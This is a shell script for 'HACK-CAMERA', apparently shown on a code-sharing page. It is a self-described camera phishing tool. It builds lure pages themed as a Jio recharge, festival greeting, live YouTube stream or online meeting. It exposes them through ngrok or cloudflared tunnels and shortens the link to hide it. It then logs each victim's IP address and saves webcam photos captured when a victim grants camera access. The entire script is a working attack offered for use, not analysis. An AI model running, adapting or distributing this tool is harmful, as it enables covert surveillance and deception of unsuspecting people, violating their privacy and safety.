Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hackerxphantom
GitHub Repository: hackerxphantom/HACK-CAMERA
Path: blob/Master/hack_camera.sh
131 views
1
#!/bin/bash
2
3
# HACK-CAMERA
4
# Version : 2.1
5
# Description: CameraHackHack is a camera Phishing tool. Send a phishing link to victim, if he/she gives access to camera, his/her photo will be captured!
6
# Author : X PHANTOM PH4N70M
7
# Github : https://github.com/hackerxphantom
8
# Join Us : https://bit.ly/3PV3S3r
9
# Date : 29-05-2022
10
# Language : Shell, HTML, Css
11
# Portable File
12
# If you copy, consider giving credit! We keep our code open source to help others
13
14
15
# Colors
16
17
black="\033[1;30m"
18
red="\033[1;31m"
19
green="\033[1;32m"
20
yellow="\033[1;33m"
21
blue="\033[1;34m"
22
purple="\033[1;35m"
23
cyan="\033[1;36m"
24
violate="\033[1;37m"
25
white="\033[0;37m"
26
nc="\033[00m"
27
28
# Output snippets
29
info="${red}[${white}+${red}] ${cyan}"
30
ask="${red}[${white}?${red}] ${violate}"
31
error="${cyan}[${white}!${cyan}] ${red}"
32
success="${red}[${white}${red}] ${green}"
33
34
35
cwd=`pwd`
36
37
# Logo
38
logo="
39
${blue} _ _ _ ____ _ __ ____ _ __ __ _____ ____ _
40
${blue} | | | | / \ / ___| |/ / / ___| / \ | \/ | ____| _ \ / \
41
${blue} | |_| | / _ \| | | ' /_____| | / _ \ | |\/| | _| | |_) | / _ \
42
${blue} | _ |/ ___ \ |___| . \_____| |___ / ___ \| | | | |___| _ < / ___ \
43
${blue} |_| |_/_/ \_\____|_|\_\ \____/_/ \_\_| |_|_____|_| \_\/_/ \_\
44
${green} [By X PHANTOM (PH4N7OM)]
45
"
46
47
# Package Installer
48
pacin(){
49
if $sudo && $pacman; then
50
sudo pacman -S $1 --noconfirm
51
fi
52
}
53
54
# Kill running instances of required packages
55
killer() {
56
if [ `pidof php > /dev/null 2>&1` ]; then
57
killall php
58
fi
59
if [ `pidof ngrok > /dev/null 2>&1` ]; then
60
killall ngrok
61
fi
62
if [ `pidof cloudflared > /dev/null 2>&1` ]; then
63
killall cloudflared
64
fi
65
if [ `pidof curl > /dev/null 2>&1` ]; then
66
killall curl
67
fi
68
if [ `pidof wget > /dev/null 2>&1` ]; then
69
killall wget
70
fi
71
if [ `pidof unzip > /dev/null 2>&1` ]; then
72
killall unzip
73
fi
74
}
75
76
# Check if offline
77
netcheck() {
78
while true; do
79
wget --spider --quiet https://github.com
80
if [ "$?" != 0 ]; then
81
echo -e "${error}No internet!\007\n"
82
sleep 2
83
else
84
break
85
fi
86
done
87
}
88
89
# Delete ngrok file
90
ngrokdel() {
91
unzip ngrok.zip
92
rm -rf ngrok.zip
93
}
94
95
# Set template
96
replacer() {
97
while true; do
98
if echo $option | grep -q "1"; then
99
sed "s+forwarding_link+"$1"+g" grabcam.html > index2.html
100
sed "s+forwarding_link+"$1"+g" template.php > index.php
101
break
102
elif echo $option | grep -q "2"; then
103
sed "s+forwarding_link+"$1"+g" template.php > index.php
104
sed "s+forwarding_link+"$1"+g" festivalwishes.html > index3.html
105
sed "s+fes_name+"$fest_name"+g" index3.html > index2.html
106
rm -rf index3.html
107
break
108
elif echo $option | grep -q "3"; then
109
sed "s+forwarding_link+"$1"+g" template.php > index.php
110
sed "s+forwarding_link+"$1"+g" LiveYTTV.html > index3.html
111
sed "s+live_yt_tv+"$vid_id"+g" index3.html > index2.html
112
rm -rf index3.html
113
break
114
elif echo $option | grep -q "4"; then
115
sed "s+forwarding_link+"$1"+g" template.php > index.php
116
sed "s+forwarding_link+"$1"+g" OnlineMeeting.html > index2.html
117
break
118
fi
119
done
120
echo -e "${info}Your urls are: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \n"
121
sleep 1
122
echo -e "${success}Link 1 : ${1}\n"
123
sleep 1
124
netcheck
125
masked=$(curl -s https://is.gd/create.php\?format\=simple\&url\=${1})
126
if ! [[ -z $masked ]]; then
127
echo -e "${success}URL 2 > ${masked}\n"
128
fi
129
}
130
131
# Prevent ^C
132
stty -echoctl
133
134
# Detect UserInterrupt
135
trap "echo -e '\n${success}Thanks for Using! Visit Site : https://bit.ly/3LAy80f\n'; exit" 2
136
137
# Termux
138
if [[ -d /data/data/com.termux/files/home ]]; then
139
termux-fix-shebang hack_camera.sh
140
termux=true
141
else
142
termux=false
143
fi
144
145
# Workdir
146
if $termux; then
147
if ! [ -d /sdcard/Pictures ]; then
148
cd /sdcard && mkdir Pictures
149
fi
150
export FOL="/sdcard/Pictures"
151
cd "$FOL"
152
if ! [[ -e ".temp" ]]; then
153
touch .temp || (termux-setup-storage && echo -e "\n${error}Please Restart Termux!\n\007" && sleep 5 && exit 0)
154
fi
155
cd "$cwd"
156
else
157
if [ -d "$HOME/Pictures" ]; then
158
export FOL="$HOME/Pictures"
159
else
160
export FOL="$cwd"
161
fi
162
fi
163
164
# Set Tunneler
165
export TN="Cloudflared"
166
167
# Set Package Manager
168
if [ `command -v sudo` ]; then
169
sudo=true
170
else
171
sudo=false
172
fi
173
if $sudo; then
174
if [ `command -v apt` ]; then
175
pac_man="sudo apt"
176
elif [ `command -v apt-get` ]; then
177
pac_man="sudo apt-get"
178
elif [ `command -v yum` ]; then
179
pac_man="sudo yum"
180
elif [ `command -v dnf` ]; then
181
pac_man="sudo dnf"
182
elif [ `command -v apk` ]; then
183
pac_man="sudo apk"
184
elif [ `command -v pacman` ]; then
185
pacman=true
186
else
187
echo -e "${error}No supported package manager found! Install packages manually!\007\n"
188
exit 1
189
fi
190
else
191
if [ `command -v apt` ]; then
192
pac_man="apt"
193
elif [ `command -v apt-get` ]; then
194
pac_man="apt-get"
195
elif [ `command -v brew` ]; then
196
pac_man="brew"
197
else
198
echo -e "${error}No supported package manager found! Install packages manually!\007\n"
199
exit 1
200
fi
201
fi
202
203
204
# Install Dependicies
205
if ! [ `command -v php` ]; then
206
echo -e "${info}Installing php...."
207
$pac_man install php -y
208
pacin php
209
fi
210
if ! [ `command -v curl` ]; then
211
echo -e "${info}Installing curl...."
212
$pac_man install curl -y
213
pacin "unzip"
214
fi
215
if ! [ `command -v unzip` ]; then
216
echo -e "${info}Installing unzip...."
217
$pac_man install unzip -y
218
pacin "unzip"
219
fi
220
if ! [ `command -v wget` ]; then
221
echo -e "${info}Installing wget...."
222
$pac_man install wget -y
223
pacin "wget"
224
fi
225
if $termux; then
226
if ! [ `command -v proot` ]; then
227
echo -e "${info}Installing proot...."
228
pkg install proot -y
229
fi
230
if ! [ `command -v proot` ]; then
231
echo -e "${error}Proot can't be installed!\007\n"
232
exit 1
233
fi
234
fi
235
if ! [ `command -v php` ]; then
236
echo -e "${error}PHP cannot be installed!\007\n"
237
exit 1
238
fi
239
if ! [ `command -v curl` ]; then
240
echo -e "${error}Curl cannot be installed!\007\n"
241
exit 1
242
fi
243
if ! [ `command -v unzip` ]; then
244
echo -e "${error}Unzip cannot be installed!\007\n"
245
exit 1
246
fi
247
if ! [ `command -v wget` ]; then
248
echo -e "${error}Wget cannot be installed!\007\n"
249
exit 1
250
fi
251
if [ `pidof php > /dev/null 2>&1` ]; then
252
echo -e "${error}Previous php cannot be closed. Restart terminal!\007\n"
253
killer; exit 1
254
fi
255
if [ `pidof ngrok > /dev/null 2>&1` ]; then
256
echo -e "${error}Previous ngrok cannot be closed. Restart terminal!\007\n"
257
killer; exit 1
258
fi
259
260
# Termux should run from home
261
if $termux; then
262
path=`pwd`
263
if echo "$path" | grep -q "home"; then
264
printf ""
265
else
266
echo -e "${error}Invalid directory. Run from home!\007\n"
267
killer; exit 1
268
fi
269
fi
270
271
# Download tunnlers
272
if ! [[ -f $HOME/.ngrokfolder/ngrok && -f $HOME/.cffolder/cloudflared ]] ; then
273
if ! [[ -d $HOME/.ngrokfolder ]]; then
274
cd $HOME && mkdir .ngrokfolder
275
fi
276
if ! [[ -d $HOME/.cffolder ]]; then
277
cd $HOME && mkdir .cffolder
278
fi
279
p=`uname -m`
280
d=`uname`
281
while true; do
282
echo -e "\n${info}Downloading Tunnelers:\n"
283
netcheck
284
if [ -e ngrok.zip ];then
285
rm -rf ngrok.zip
286
fi
287
cd "$cwd"
288
if echo "$d" | grep -q "Darwin"; then
289
if echo "$p" | grep -q "x86_64"; then
290
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-darwin-amd64.zip" -O "ngrok.zip"
291
ngrokdel
292
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz" -O "cloudflared.tgz"
293
tar -zxf cloudflared.tgz > /dev/null 2>&1
294
rm -rf cloudflared.tgz
295
break
296
elif echo "$p" | grep -q "arm64"; then
297
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-arm64.zip" -O "ngrok.zip"
298
ngrokdel
299
echo -e "${error}Cloudflared not available for device architecture!"
300
sleep 3
301
break
302
else
303
echo -e "${error}Device architecture unknown. Download ngrok/cloudflared manually!"
304
sleep 3
305
break
306
fi
307
elif echo "$d" | grep -q "Linux"; then
308
if echo "$p" | grep -q "aarch64"; then
309
if [ -e ngrok-stable-linux-arm64.tgz ];then
310
rm -rf ngrok-stable-linux-arm64.tgz
311
fi
312
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm64.tgz" -O "ngrok.tgz"
313
tar -zxf ngrok.tgz
314
rm -rf ngrok.tgz
315
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64" -O "cloudflared"
316
break
317
elif echo "$p" | grep -q "arm"; then
318
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm.zip" -O "ngrok.zip"
319
ngrokdel
320
wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' -O "cloudflared"
321
break
322
elif echo "$p" | grep -q "x86_64"; then
323
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-amd64.zip" -O "ngrok.zip"
324
ngrokdel
325
wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' -O "cloudflared"
326
break
327
else
328
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-386.zip" -O "ngrok.zip"
329
ngrokdel
330
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386" -O "cloudflared"
331
break
332
fi
333
else
334
echo -e "${error}Unsupported Platform!"
335
exit
336
fi
337
done
338
sleep 1
339
cd "$cwd"
340
mv -f ngrok $HOME/.ngrokfolder
341
mv -f cloudflared $HOME/.cffolder
342
if $sudo; then
343
sudo chmod +x $HOME/.ngrokfolder/ngrok
344
sudo chmod +x $HOME/.cffolder/cloudflared
345
else
346
chmod +x $HOME/.ngrokfolder/ngrok
347
chmod +x $HOME/.cffolder/cloudflared
348
fi
349
fi
350
351
352
# Start Point
353
while true; do
354
clear
355
echo -e "$logo"
356
sleep 1
357
echo -e "${ask}Choose an option:
358
${red}[${white}1${red}] ${cyan}Jio Recharge
359
${red}[${white}2${red}] ${cyan}Festival
360
${red}[${white}3${red}] ${cyan}Live Youtube
361
${red}[${white}4${red}] ${cyan}Online Meeting
362
${red}[${white}d${red}] ${cyan}Change Image Directory (current: ${red}${FOL}${yellow})
363
${red}[${white}p${red}] ${cyan}Change Default Port (current: ${red}${PORT}${yellow})
364
${red}[${white}t${red}] ${cyan}Change Default Tunneler (current: ${red}${TN}${yellow})
365
${red}[${white}x${red}] ${cyan}About
366
${red}[${white}m${red}] ${cyan}More tools
367
${red}[${white}0${red}] ${cyan}Exit${blue}
368
"
369
370
sleep 1
371
printf "${cyan}\nXPHANTOM${nc}@${blue}PH4N70M ${red}$ ${nc}"
372
read option
373
# Select template
374
if echo $option | grep -q "1"; then
375
dir="jio"
376
break
377
elif echo $option | grep -q "2"; then
378
dir="fest"
379
printf "\n${ask}Enter festival name:${cyan}\n\nXPHANTOM${nc}@${blue}XPH4N70M ${red}$ ${nc}"
380
read fest_name
381
if [ -z $fest_name ]; then
382
echo -e "\n${error}Invalid input!\n\007"
383
sleep 1
384
else
385
fest_name="${fest_name//[[:space:]]/}"
386
break
387
fi
388
elif echo $option | grep -q "3"; then
389
dir="live"
390
printf "\n${ask}Enter youtube video ID:${cyan}\n\nXPhantom${nc}@${blue}XPH4N70M ${red}$ ${nc}"
391
read vid_id
392
if [ -z $vid_id ]; then
393
echo -e "\n${error}Invalid input!\n\007"
394
sleep 1
395
else
396
break
397
fi
398
elif echo $option | grep -q "4"; then
399
dir="om"
400
break
401
elif echo $option | grep -q "t"; then
402
if [ $TN == "Cloudflared" ]; then
403
export TN="Ngrok"
404
else
405
export TN="Cloudflared"
406
fi
407
elif echo $option | grep -q "i"; then
408
printf "\n${ask}Enter Directory:${cyan}\n\nXPHANTOM${nc}@${blue}XPH4N70M ${red}$ ${nc}"
409
read dire
410
if ! [ -d $dire ]; then
411
echo -e "\n${error}Invalid directory!\n\007"
412
sleep 1
413
else
414
export FOL="$dire"
415
echo -e "\n${success}Directory changed successfully!\n"
416
sleep 1
417
fi
418
elif echo $option | grep -q "x"; then
419
clear
420
echo -e "$logo"
421
echo -e "$red[ToolName] ${cyan} :[HACK-CAMERA]
422
$red[Version] ${cyan} :[2.1]
423
$red[Description]${cyan} :[Camera Phishing tool]
424
$red[Author] ${cyan} :[XPHANTOM PH4N70M]
425
$red[Github] ${cyan} :[https://github.com/hackerxphantom]
426
$red[Join us] ${cyan} :[https://bit.ly/3PV3S3r]
427
$red[Telegarm] ${cyan} :[https://t.me/x_PH4N7OM]"
428
printf "${cyan}\nXPHANTOM${nc}@${cyan}XPH4N70M ${red}$ ${nc}"
429
read about
430
elif echo $option | grep -q "m"; then
431
xdg-open "https://bit.ly/3PV3S3r"
432
elif echo $option | grep -q "0"; then
433
exit 0
434
else
435
echo -e "\n${error}Invalid input!\007"
436
sleep 1
437
fi
438
done
439
cd $cwd
440
if [ -e websites.zip ];then
441
unzip websites.zip > /dev/null 2>&1
442
rm -rf websites.zip
443
fi
444
if ! [ -d $dir ];then
445
mkdir $dir
446
cd $dir
447
netcheck
448
wget -q --show-progress "https://github.com/XPH4N70M/files/raw/main/${dir}.zip"
449
unzip ${dir}.zip > /dev/null 2>&1
450
rm -rf ${dir}.zip
451
else
452
cd $dir
453
fi
454
455
# Hotspot required for termux
456
if $termux; then
457
echo -e "\n${info}If you haven't turned on hotspot, please enable it!"
458
sleep 3
459
fi
460
echo -e "\n${info}Starting PHP Server at 127.0.0.1:7777\n"
461
netcheck
462
php -S 127.0.0.1:7777 > /dev/null 2>&1 &
463
sleep 2
464
echo -e "${info}Starting link tunnelers......\n"
465
if [ -e "$HOME/.cffolder/log.txt" ]; then
466
rm -rf "$HOME/.cffolder/log.txt"
467
fi
468
netcheck
469
cd $HOME/.ngrokfolder && ./ngrok http 127.0.0.1:7777 > /dev/null 2>&1 &
470
if $termux; then
471
cd $HOME/.cffolder && termux-chroot ./cloudflared tunnel -url "127.0.0.1:7777" --logfile "log.txt" > /dev/null 2>&1 &
472
else
473
cd $HOME/.cffolder && ./cloudflared tunnel -url "127.0.0.1:7777" --logfile "log.txt" > /dev/null 2>&1 &
474
fi
475
sleep 8
476
ngroklink=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
477
if (echo "$ngroklink" | grep -q "ngrok"); then
478
ngrokcheck=true
479
else
480
ngrokcheck=false
481
fi
482
cflink=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' "$HOME/.cffolder/log.txt")
483
if (echo "$cflink" | grep -q "cloudflare"); then
484
cfcheck=true
485
else
486
cfcheck=false
487
fi
488
while true; do
489
if ( $cfcheck && $ngrokcheck ); then
490
if [ $TN == "Cloudflared" ]; then
491
echo -e "${success}Cloudflared choosen!\n"
492
replacer "$cflink"
493
else
494
echo -e "${success}Ngrok choosen!\n"
495
replacer "$ngroklink"
496
fi
497
break
498
fi
499
if ( $cfcheck && ! $ngrokcheck ); then
500
echo -e "${success}Cloudflared started succesfully!\n"
501
replacer "$cflink"
502
break
503
fi
504
if ( ! $cfcheck && $ngrokcheck ); then
505
echo -e "${success}Ngrok started succesfully!\n"
506
replacer "$ngroklink"
507
break
508
fi
509
if ! ( $cfcheck && $ngrokcheck ); then
510
echo -e "${error}Tunneling failed!\n"
511
killer; exit 1
512
fi
513
done
514
sleep 1
515
status=$(curl -s --head -w %{http_code} 127.0.0.1:7777 -o /dev/null)
516
if echo "$status" | grep -q "404"; then
517
echo -e "${error}PHP couldn't start!\n\007"
518
killer; exit 1
519
else
520
echo -e "${success}PHP started succesfully!\n"
521
fi
522
sleep 1
523
rm -rf ip.txt
524
echo -e "${info}Waiting for target. ${cyan}Press ${red}Ctrl + C ${cyan}to exit...\n"
525
while true; do
526
if [[ -e "ip.txt" ]]; then
527
echo -e "\007${success}Target opened the link!\n"
528
while IFS= read -r line; do
529
echo -e "${green}[${blue}*${green}]${yellow} $line"
530
done < ip.txt
531
echo ""
532
cat ip.txt >> $cwd/ips.txt
533
rm -rf ip.txt
534
fi
535
sleep 0.5
536
if [[ -e "log.txt" ]]; then
537
echo -e "\007${success}IMAGE FILE RECEIVED ! Download...\n"
538
file=`ls | grep png`
539
mv -f $file $FOL
540
rm -rf log.txt
541
fi
542
sleep 0.5
543
done
544
545